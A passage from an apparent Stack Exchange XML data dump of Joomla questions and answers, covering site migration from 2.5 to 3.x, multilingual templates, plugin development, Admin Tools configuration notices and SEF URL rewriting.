plugin&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable &quot;System - Backup on update&quot; plugin if Akeeba Backup is installed&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In Global Configuration, Set Error Reporting to &quot;Development&quot; (so errors are visible after the migration - if you miss this step you may have to use FTP etc to download configuration.php, edit it to enable messages and then upload the updated version via FTP etc which is a pain)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change Components -&gt; Joomla Update -&gt; Options to &quot;Short Term Support&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In Components -&gt; Joomla Update, click on &quot;Install the Update&quot; to update from 2.5.x to 3.5.1, 3.5.1 to 3.6.5 and then 3.6.5 to the latest version. Clear the Joomla cache and purge the cache at Extensions -&gt; Extension Manager -&gt; Update, and try again if the update isn't offered. You may have to reauthenticate once or twice as session token updates are performed&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change Components -&gt; Joomla Update -&gt; Options -&gt; Update Channel to &quot;Default&quot; if it's not already reset to &quot;Default&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Reinstall the latest Joomla 3.x extensions over the top of any installed extensions especially ChronoForms and any ChronoForms Actions if you have any of these installed&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Clear the Joomla cache and your web browser cache&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In Global Configuration, set Error Reporting back to &quot;None&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Re-enable &quot;System - Backup on update&quot; plugin if Akeeba Backup is installed&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Re-enable &quot;System - Remember Me&quot; plugin&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable &quot;System - Joomla! Update Notification&quot; plugin to switch off Joomla update notifications (optional)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Remove Joomla 2.5 templates (atomic, beez5, beez_20, bluestork)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable version control in Content -&gt; Articles -&gt; Options -&gt; Editing layout if appropriate (version control is disabled by default)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable &quot;Allow User Registration&quot; at Users -&gt; Manage -&gt; Options -&gt; User Options if appropriate (this was enabled as default in Joomla 2.5) &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Step 11 is important to allow installation scripts to do any Joomla 3 specific steps that may not have been run when they were originally installed on Joomla 2.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember to update the PHP version if appropriate. See &lt;a href=&quot;https://www.php.net/supported-versions.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.php.net/supported-versions.php&lt;/a&gt; for currently supported versions.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2020-04-09T00:15:05.047" LastActivityDate="2020-04-09T00:15:05.047" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18954" PostTypeId="1" CreationDate="2017-01-26T04:36:27.627" Score="1" ViewCount="731" Body="&lt;p&gt;I developed a component extension, I Installed it on my Joomla in a regular server. I also received the success message after Installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's table is added, all files under administrator and components (site part) are added. It is in menu part of back end too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet when I click on menu item in Joomla back end to reach component page I receive:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;404 Component not Found.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used address bar with direct URL too, the same 404 Error.&#xA;Any points?&lt;/p&gt;&#xA;" OwnerUserId="9591" LastEditorUserId="9492" LastEditDate="2017-01-26T09:26:40.293" LastActivityDate="2017-01-27T07:39:36.963" Title="404 component not found backend" Tags="|custom-component|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18955" PostTypeId="2" ParentId="18905" CreationDate="2017-01-26T10:13:29.087" Score="0" Body="&lt;p&gt;So, the process is fairly involved an will require a number of steps. It is much less tedious to plan a multi-language site from the beginning, than to implement another language later. I recommend getting translations for your content in advance. These are the steps I went through to get satisfactory results. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install the desired languages through Extensions -&gt; Languages.&lt;/li&gt;&#xA;&lt;li&gt;Configure and add your Content Languages in the Languages Menu. &lt;/li&gt;&#xA;&lt;li&gt;Enable the Language Filter Plugin. Optionally add an enable the Language Code module for better SEO. &lt;/li&gt;&#xA;&lt;li&gt;Create Language Conten categories and recreate your existing categories for each language. &lt;/li&gt;&#xA;&lt;li&gt;Rebuild your menus. This is probably the most involved step because you will have to recreate your Main Menu in your &quot;Main&quot; language and then rebuild those menus for the additional language(s) you want to add. I found that using &quot;Saves as a Copy&quot; was really helpful in duplicating the pages. Remember to assign menu specific home pages and associating each page with its translation. To finalize the process you will have to add modules to each menu in the menu manager.&lt;/li&gt;&#xA;&lt;li&gt;Translate/Add/Remap your content. You will need translations of every piece of content you want to display. Then you need to add the content, label it with the appropriate language, and associate it with the &quot;Main language&quot; versions. This will include creating new Language categories and subcategories. I also had to save copies and re-label a number of my modules to maintain language consistency. This also meant applying translations to a number of Custom HTML modules, and a few of my own modules.&lt;/li&gt;&#xA;&lt;li&gt;Add the Language Switcher Module.&lt;/li&gt;&#xA;&lt;li&gt;Iteratively check the site for consistency. As an FYI, any pages that don't show up in the menu it should is probably not categorized in the correct language. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8870" LastActivityDate="2017-01-26T10:13:29.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18956" PostTypeId="2" ParentId="18938" CreationDate="2017-01-26T10:39:06.040" Score="2" Body="&lt;p&gt;The class name is case sensitive with Joomla, so make sure your plugin name is correct. For example, if the path of the plugin is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;plugins/user/something/something.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;then you would use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PlgUserSomething extends JPlugin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should also be aware that &lt;code&gt;usertype&lt;/code&gt; is deprecated. If you wish to get the group[s] of a user, have a look at another answer I wrote:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/a/18407692/1362108&quot;&gt;https://stackoverflow.com/a/18407692/1362108&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So for the actual plugin code, try using the following:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;XML:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension version=&quot;3.6&quot; type=&quot;plugin&quot; group=&quot;user&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;Something&amp;lt;/name&amp;gt;&#xA;    &amp;lt;author&amp;gt;My Name&amp;lt;/author&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;27-01-2017&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;Copyright (C) 2017&amp;lt;/copyright&amp;gt; &#xA;    &amp;lt;license&amp;gt;http://www.gnu.org/licenses/gpl-3.0.html&amp;lt;/license&amp;gt; &#xA;    &amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;Something&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&quot;something&quot;&amp;gt;something.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;PHP:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC');&#xA;&#xA;class PlgUserSomething extends JPlugin&#xA;{&#xA;    public function onUserAfterLogin($options)&#xA;    {&#xA;          // User data&#xA;          $user_id = $options['user']-&amp;gt;id;&#xA;          $groups  = $options['user']-&amp;gt;groups;&#xA;&#xA;          $allGroups = '';&#xA;          foreach($groups as $group)&#xA;          {&#xA;              $allGroups .= 'Group Id = ' . $group . ' ';&#xA;          }&#xA;&#xA;          // Session data&#xA;          $session = JFactory::getSession();&#xA;          $sessionid = $session-&amp;gt;getId();&#xA;&#xA;          JFactory::getApplication()-&amp;gt;enqueueMessage('The user ID is: ' . $user_id);&#xA;          JFactory::getApplication()-&amp;gt;enqueueMessage('The session ID is: ' . $sessionid);&#xA;&#xA;          // $allGroups is a string containing all the groups&#xA;          // Write to txt file&#xA;          // Set cookie for the same&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course changing &lt;code&gt;PlgUserSomething&lt;/code&gt; to the correct value for you.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2017-01-27T09:24:29.187" CommentCount="31" ContentLicense="CC BY-SA 3.0" />
  <row Id="18958" PostTypeId="1" AcceptedAnswerId="18960" CreationDate="2017-01-26T13:49:42.893" Score="3" ViewCount="446" Body="&lt;p&gt;So, I am in the process of adding a second content language to my joomla site and I'm running into an issue. I have successfully added my second language (German) and have rebuilt my site with the second language content and have happily implemented the language switcher. The issue I have is that not all the strings that should have translations are translated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uctcR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uctcR.png&quot; alt=&quot;contact page screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the image, you will notice that the form components and text are correctly translated, but the strings for &quot;Address,&quot; &quot;Phones,&quot; and &quot;Miscellaneous Information&quot; are not translated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is updated to Joomla 3.6, and I am using the core contact component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked the German Language pack, and I can confirm that correct translations exist for each string I want translated, but these translations are inconsistently applied on the Contact Page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot apply Language Overrides for these strings, because the translations already exist, and if I were to target the English language strings the translations for the whole site would be in correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Theme 1498 by Template Monster, and there is only a single language (English GB) pack in the template language folder. &#xA;I have identified that I want to change the string values for &lt;code&gt;TPL_CONTACT_ADDRESS&lt;/code&gt;, &lt;code&gt;TPL_CONTACT_PHONES&lt;/code&gt;, and &lt;code&gt;TPL_CONTACT_MISC&lt;/code&gt; in the &lt;code&gt;[template]/html/com_contact/contact/default_address.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These strings are all included in the language pack inside of the template. From a very helpful response to an earlier question of mine the strings must be overridden by the template because correct translations exist within the installed language pack. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question is how either remove the hard-coded English strings so that normal translations work, or how to apply my own correct translations for those strings when the correct language is loaded. I have found one or two tutorials on how to do this, but they seem somewhat contradictory or applied to more specific use cases.&lt;/p&gt;&#xA;" OwnerUserId="8870" LastEditorUserId="126" LastEditDate="2017-01-26T14:41:41.390" LastActivityDate="2017-01-26T14:41:41.390" Title="How to add a language pack (or language specific string overrides) to a template?" Tags="|joomla-3.x|template-override|joomla-3.6|language|multilingual|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18959" PostTypeId="2" ParentId="18958" CreationDate="2017-01-26T14:26:00.040" Score="2" Body="&lt;p&gt;So, in my case it was that the strings were hard-coded into the template through the inclusion of a single language pack in the template language folder for English. What I did was to create my own language file by copying and relabeling the folder and files (e.g. from en-GB -&gt; de-DE) and updating the values for the strings I wanted. The critical factor was updating the templateDetails.xml file in the root of the template folder to include pointers to the new language folder and files in the language tag. here again, I copied the lines of code and updated them to point to the correct files and folders. This &lt;a href=&quot;https://www.yireo.com/tutorials/joomla/joomla-programming/721-load-a-custom-language-file-in-your-joomla-template?_=1423205542726%27A=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial&lt;/a&gt; was helpful for reference, but applies to a different use case so the instructions will not directly correspond. I was finally tipped off thanks to responses to a previous question of mine and the answer and response to &lt;a href=&quot;https://joomla.stackexchange.com/questions/18958/how-to-add-a-language-pack-or-language-specific-string-overrides-to-a-template&quot;&gt;this question here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8870" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2017-01-26T14:26:00.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18960" PostTypeId="2" ParentId="18958" CreationDate="2017-01-26T14:28:03.873" Score="3" Body="&lt;p&gt;There are a couple of ways to deal with this.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;1. Create a German language ini file for your template.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;a. Go to languages folder -&amp;gt; &lt;code&gt;EN-GB&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;b. Spot your template's &lt;code&gt;EN-GB&lt;/code&gt; language file: e.g. &lt;code&gt;en-GB.tpl_theme1498.ini&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;c. Copy it into the &lt;code&gt;de-DE&lt;/code&gt; language folder.&lt;/p&gt;&#xA;&lt;p&gt;d. Rename it to de-DE.tpl_theme1498.ini (or whatever is the theme1498 naming).&lt;/p&gt;&#xA;&lt;p&gt;e. Edit it and replace the English Translations with your desired ones.&lt;br /&gt;&#xA;For example:&lt;br /&gt;&#xA;- &lt;code&gt;TPL_CONTACT_MISC=&amp;quot;Miscellaneous Info&amp;quot;&lt;/code&gt;&#xA;change to:&lt;br /&gt;&#xA;- &lt;code&gt;TPL_CONTACT_MISC=&amp;quot;Your german misc info translation&amp;quot;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;2. Create language overrides for the translatable Language Strings of your template.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;a. In the backend - go to Extensions-&amp;gt;Languages-&amp;gt;Overrides&lt;/p&gt;&#xA;&lt;p&gt;b. Use the filter on the left to filter for GERMAN DE - SITE, overrides.&lt;/p&gt;&#xA;&lt;p&gt;c. Have the contacts template override file open and look for any Language Constants. Copy each one and then click the New Button on the Overrides page to create a new override.&lt;/p&gt;&#xA;&lt;p&gt;d. Paste the Language Constant and type your desired translation in the corresponding fields. Save.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nZe8S.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nZe8S.jpg&quot; alt=&quot;Create new language override&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;3. Override the override: Add your own Language strings - or those from the com_contact.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I bet this template hardly will get any update. Me personally I could even go with this option of replacing the template's language strings with the default ones from the com_contact component.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-01-26T14:28:03.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18961" PostTypeId="2" ParentId="18913" CreationDate="2017-01-26T14:42:49.943" Score="2" Body="&lt;p&gt;I found the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The templates were not at all responsible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the &lt;strong&gt;JCH Optimize plugin.&lt;/strong&gt; In the Basic Options tab, there is a &lt;strong&gt;Use url rewrite parameter.&lt;/strong&gt; That was the problem. When I switched it to off, the conflict stopped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason, it does not work well with the directives inside my .htaccess file.&lt;/p&gt;&#xA;" OwnerUserId="9577" LastActivityDate="2017-01-26T14:42:49.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18963" PostTypeId="1" AcceptedAnswerId="18996" CreationDate="2017-01-26T20:40:23.707" Score="2" ViewCount="1037" Body="&lt;p&gt;Every time I got to the home page &lt;code&gt;/index.php&lt;/code&gt; I run into a infinite loop. This happens only for the &lt;code&gt;www.example.com/index.php&lt;/code&gt;, while &lt;code&gt;www.example.com&lt;/code&gt; works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also this problem doesn't seem to exist when Search Engine Friendly URLs are tuned off. I have been fighting with it for over a week and tried reinstalling joomla multiple times but nothing seems to help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what could be the problem?&lt;/p&gt;&#xA;" OwnerUserId="9598" LastEditorUserId="126" LastEditDate="2017-01-28T14:48:48.927" LastActivityDate="2017-01-30T17:35:10.087" Title="Infinite loop in index.php" Tags="|joomla-3.x|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18966" PostTypeId="1" AcceptedAnswerId="18968" CreationDate="2017-01-27T10:41:29.777" Score="4" ViewCount="1108" Body="&lt;p&gt;This is somehow started happening recently on some Joomla 3.6.5 sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each time I save anything in the com_config - either on the global configuration, or a component's configuration, I am getting the notice: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You must provide at least one recipient email address&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I can't find why I am getting this and not sure when exactly it started, but there was no change on any of the sites like changing the mail settings or similar. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone has noticed that and have any idea what it is?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-05-31T08:55:38.357" LastActivityDate="2017-05-31T08:55:38.357" Title="You must provide at least one recipient email address (when saving Global Configuration)" Tags="|joomla-3.x|administrator|security|emails|global-configuration|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18967" PostTypeId="1" AcceptedAnswerId="18969" CreationDate="2017-01-27T12:08:14.823" Score="1" ViewCount="470" Body="&lt;p&gt;I'm trying to create a simple plugin that adds 4 textfields to the article options. But I'm not getting it to work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my plugin structure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;extrafields.xml&#xA;extrafields.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the contents of the files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;extrafields.xml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension version=&quot;3.1&quot; type=&quot;plugin&quot; group=&quot;content&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;plg_content_extrafields&amp;lt;/name&amp;gt;&#xA;    &amp;lt;version&amp;gt;3.6.5&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;Extra fields voor articles&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&quot;article&quot;&amp;gt;extrafields.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;config&amp;gt;&#xA;&#xA;    &amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;extrafields.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// no direct access&#xA;defined( '_JEXEC' ) or die;&#xA;&#xA;class plgContentExtrafields extends JPlugin&#xA;{&#xA;    /**&#xA;     * Load the language file on instantiation. Note this is only available in Joomla 3.1 and higher.&#xA;     * If you want to support 3.0 series you must override the constructor&#xA;     *&#xA;     * @var    boolean&#xA;     * @since  3.1&#xA;     */&#xA;    protected $autoloadLanguage = true;&#xA;&#xA;    /**&#xA;     * Plugin method with the same name as the event will be called automatically.&#xA;     */&#xA;    function onContentPrepareForm($form, $data)&#xA;    {&#xA;        $app    = JFactory::getApplication();&#xA;        $option = $app-&amp;gt;input-&amp;gt;get('option');&#xA;&#xA;        switch($option)&#xA;        {&#xA;            case 'com_content' :&#xA;                if ($app-&amp;gt;isAdmin())&#xA;                {&#xA;                    JForm::addFormPath(__DIR__ . '/forms');&#xA;                    $form-&amp;gt;loadFile('extrafields', false);&#xA;                }&#xA;                return true;&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I can install it succesfully but when I try to access the plugin it says &quot;article.xml not found&quot;&#xA;And when I access the articles I don't see any extra fields or tabs or anything. The current documentation for adding fields are limited to contacts and it doesn't really translate well to the article component. Could someone help me out?&lt;/p&gt;&#xA;" OwnerUserId="5642" LastActivityDate="2017-01-28T15:07:58.677" Title="Add extra fields to article" Tags="|php|plugin|articles|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18968" PostTypeId="2" ParentId="18966" CreationDate="2017-01-27T12:49:51.233" Score="4" Body="&lt;p&gt;Hmm, I think I sorted out from where this notice is coming from. It looks like responsible for this is the latest version of Akeeba Admin Tools Pro (maybe it's also in the free core version don't know as I don't use that). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Admin Tools Pro v4.1.0 have some new features in its WAF configuration:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Monitor Global Configuration&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When this is enabled and someone tries to change the Global&#xA;  Configuration of Joomla!, either from the back-end or the front-end,&#xA;  you will either be notified or they will get blocked (depending on&#xA;  your settings below).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Monitor Component Configuration&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When this is enabled and someone tries to change the configuration of&#xA;  any core Joomla! or third party component (what you see when you click&#xA;  Options in a component's toolbar) from the back-end of your site you&#xA;  will either be notified or they will get blocked (depending on your&#xA;  settings below).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. Action for configuration monitoring&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What do you want to do when either global or component configuration&#xA;  is enabled and a change is detected in the configuration. 'Email' will&#xA;  simply send a warning email to the email addresses you've configured&#xA;  to receive security exception emails and only if you have configured&#xA;  such email addresses. The changes in configuration will go through.&#xA;  'Block' will treat these changes as security exceptions. The changes&#xA;  in configuration will NOT go through.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is actually the action that Admin Tools should do when something from the above 2 things happens. One of the options is to send an email. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if any of the 1 and 2 features above is enabled and the email option is selected as action, but there is no email recipient configured to receive Admin Tools Security Exceptions, then each time someone saves anything in the Global or Component Configuration, Admin Tools will try to send an email but it won't have a recipient. &lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-01-27T12:59:49.817" LastActivityDate="2017-01-27T12:59:49.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18969" PostTypeId="2" ParentId="18967" CreationDate="2017-01-27T13:50:23.403" Score="1" Body="&lt;p&gt;There were a couple of errors. Like Farahmand already saw, the folder wasn't specified in the installation XML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I made a couple of errors in the extrafields.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;switch($option)&#xA;        {&#xA;            case 'com_content' :&#xA;                if ($app-&amp;gt;isAdmin())&#xA;                {&#xA;                    JForm::addFormPath(__DIR__ . '/extrafields');&#xA;                    $form-&amp;gt;loadFile('extrafields', false);&#xA;                }&#xA;                return true;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Needed to change the rating into the extafields map.&lt;/p&gt;&#xA;" OwnerUserId="5642" LastActivityDate="2017-01-27T13:50:23.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18970" PostTypeId="1" AcceptedAnswerId="19034" CreationDate="2017-01-27T14:28:55.820" Score="2" ViewCount="413" Body="&lt;p&gt;I currently develop my websites on a synology nas web station, but when I upload my website online, all editor fields (articles, modules and also my custom components) are modified with an added &lt;code&gt;&amp;lt;p&amp;gt;/r/n&amp;lt;/p&amp;gt;&lt;/code&gt; between paragraphs. It happens only if there is more than 1 paragraph.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've first noticed this strange behavior on 10th January, websites uploaded in December were correct.&lt;/p&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2017-02-03T07:42:30.313" Title="&quot;/r/n&quot; added between paragraphs in every editor field when uploading website" Tags="|joomla-3.5|editor|tinymce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18971" PostTypeId="2" ParentId="18716" CreationDate="2017-01-27T15:25:30.510" Score="1" Body="&lt;p&gt;I have changed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once (dirname(__FILE__).DS.'helper.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once (dirname(__FILE__).'/'.'helper.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a &lt;a href=&quot;https://github.com/getk2/k2/issues/371&quot; rel=&quot;nofollow noreferrer&quot;&gt;known bug&lt;/a&gt; and an official solution should be given in the next K2 update.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2017-01-27T15:25:30.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18972" PostTypeId="2" ParentId="18963" CreationDate="2017-01-27T15:56:28.250" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;In your Joomla! Administrator, navigate to &lt;em&gt;System &gt; Global Configuration&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;On the &lt;em&gt;Site&lt;/em&gt; tab under &quot;SEO Settings&quot;, make sure the following are set to &quot;Yes&quot;:&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Search Engine Friendly URLs&lt;/li&gt;&#xA;&lt;li&gt;Use URL Rewriting&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;If the web server uses Apache&lt;/strong&gt; - Rename &lt;code&gt;htaccess.txt&lt;/code&gt; to &lt;code&gt;.htaccess&lt;/code&gt; and ensure &lt;a href=&quot;http://httpd.apache.org/docs/current/mod/mod_rewrite.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;mod_rewrite&lt;/a&gt; is enabled on your server. If you already have a &lt;code&gt;.htaccess&lt;/code&gt; file at the web root, add the contents of &lt;code&gt;htaccess.txt&lt;/code&gt; to the bottom of &lt;code&gt;.htaccess&lt;/code&gt; and save.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;If the web server uses IIS&lt;/strong&gt; - Rename &lt;code&gt;web.config.txt&lt;/code&gt; to &lt;code&gt;web.config&lt;/code&gt; and install &lt;a href=&quot;https://www.iis.net/downloads/microsoft/url-rewrite&quot; rel=&quot;nofollow noreferrer&quot;&gt;IIS URL Rewrite Module&lt;/a&gt;. If you already have a &lt;code&gt;web.config&lt;/code&gt; file at the web root, add the contents of &lt;code&gt;web.config.txt&lt;/code&gt; to the bottom of &lt;code&gt;web.config&lt;/code&gt; and save.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Recommended Reading:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Search_Engine_Friendly_URLs&quot; rel=&quot;nofollow noreferrer&quot;&gt;Search Engine Friendly URLs&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Enabling_Search_Engine_Friendly_(SEF)_URLs&quot; rel=&quot;nofollow noreferrer&quot;&gt;Enabling Search Engine Friendly (SEF) 